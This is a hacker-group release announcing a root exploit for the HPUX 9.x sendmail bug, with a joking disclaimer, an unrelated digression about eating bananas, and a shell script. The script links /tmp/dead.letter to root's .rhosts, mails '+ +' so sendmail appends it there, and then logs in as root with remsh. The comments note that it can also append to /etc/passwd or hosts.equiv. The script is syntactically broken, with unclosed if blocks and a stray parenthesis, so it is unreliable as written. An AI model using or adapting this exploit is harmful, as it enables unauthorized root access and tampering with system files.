[r00t.3] [hpux-sm] [public release]

This is a r00tin HPUX sendmail bug.  It works on a virgin HPUX 9.x sendmail.cf.

r00t, as usual, is not responsible for all the shit you accidently mess up 
because you blindly run this script.  But, in case you do do something dumb,
let one of us know so we can all laugh at you.

Sometimes I am really in the mood to eat a banana but once I take that first
bite I just completely lose interest.  I'm not sure why this happens, or even
how often it happens, but it does happen, and that above all things, is what
worries the hell out of me.  I think I had this happen with an apple and a pear
once as well.  However, I think I managed at least 2 bites of the pear before
losing interest

[cut here]
# This works on virgin HPUX 9.x sendmail.cf
# The link can be set to any file on the system, it will append the contents
# of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts).. 
# - sirsyko

r00tDIR=`grep root /etc/passwd |cut -f6 -d:`

if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
if [ -f /tmp/dead.letter ]; then 
 echo "Sorry, aint gonna work"

ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter

sleep 1
echo "helo"
echo "mail from: noone"
echo "rcpt to: noone@bounce"
echo "data"
echo "+ +"
echo "."
sleep 3
echo "quit"
) | telnet ${RunDMC} 25

sleep 5
remsh ${RunDMC} -l root
[then cut there too]